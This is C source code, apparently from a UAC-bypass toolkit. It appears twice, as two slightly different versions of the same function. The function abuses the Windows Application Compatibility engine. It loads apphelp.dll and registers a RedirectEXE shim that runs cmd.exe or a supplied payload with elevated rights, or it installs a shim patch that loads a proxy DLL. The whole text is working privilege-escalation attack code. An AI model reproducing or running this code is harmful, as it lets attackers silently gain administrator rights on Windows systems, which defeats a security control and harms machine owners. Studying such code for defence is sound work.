/*
* ucmAppcompatElevation
*
* Purpose:
*
* AutoElevation using Application Compatibility engine.
*
*/
BOOL ucmAppcompatElevation(
UACBYPASSMETHOD Method,
CONST PVOID ProxyDll,
DWORD ProxyDllSize,
LPWSTR lpszPayloadEXE
)
{
BOOL cond = FALSE, bResult = FALSE;
WCHAR szBuffer[MAX_PATH * 2];
do {
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
if (ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\apphelp.dll"),
szBuffer, MAX_PATH) == 0)
{
break;
}
hAppHelp = LoadLibrary(szBuffer);
if (hAppHelp == NULL) {
break;
}
if (ucmInitAppHelp() == FALSE) {
break;
}
//create and register shim with RedirectEXE, cmd.exe as payload
if (Method == UacMethodRedirectExe) {
if (lpszPayloadEXE == NULL) {
_strcpy_w(szBuffer, L"%systemroot%\\system32\\cmd.exe");
bResult = ucmShimRedirectEXE(szBuffer);
}
else {
bResult = ucmShimRedirectEXE(lpszPayloadEXE);
}
return bResult;
}
//create and register shim patch with fubuki as payload
if (Method == UacMethodShimPatch) {
bResult = ucmShimPatch(ProxyDll, ProxyDllSize);
}
} while (cond);
return bResult;
}
/*
* ucmAppcompatElevation
*
* Purpose:
*
* AutoElevation using Application Compatibility engine.
*
*/
BOOL ucmAppcompatElevation(
UACBYPASSMETHOD Method,
CONST PVOID ProxyDll,
DWORD ProxyDllSize,
LPWSTR lpszPayloadEXE
)
{
BOOL cond = FALSE, bResult = FALSE;
WCHAR szBuffer[MAX_PATH * 2];
do {
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szSystemDirectory);
_strcat(szBuffer, APPHELP_DLL);
hAppHelp = LoadLibrary(szBuffer);
if (hAppHelp == NULL) {
break;
}
if (ucmInitAppHelp() == FALSE) {
break;
}
//create and register shim with RedirectEXE, cmd.exe as payload
if (Method == UacMethodRedirectExe) {
if (lpszPayloadEXE == NULL) {
_strcpy_w(szBuffer, T_DEFAULT_CMD);
bResult = ucmShimRedirectEXE(szBuffer);
}
else {
bResult = ucmShimRedirectEXE(lpszPayloadEXE);
}
return bResult;
}
//create and register shim patch with fubuki as payload
if (Method == UacMethodShimPatch) {
bResult = ucmShimPatch(ProxyDll, ProxyDllSize);
}
} while (cond);
return bResult;
}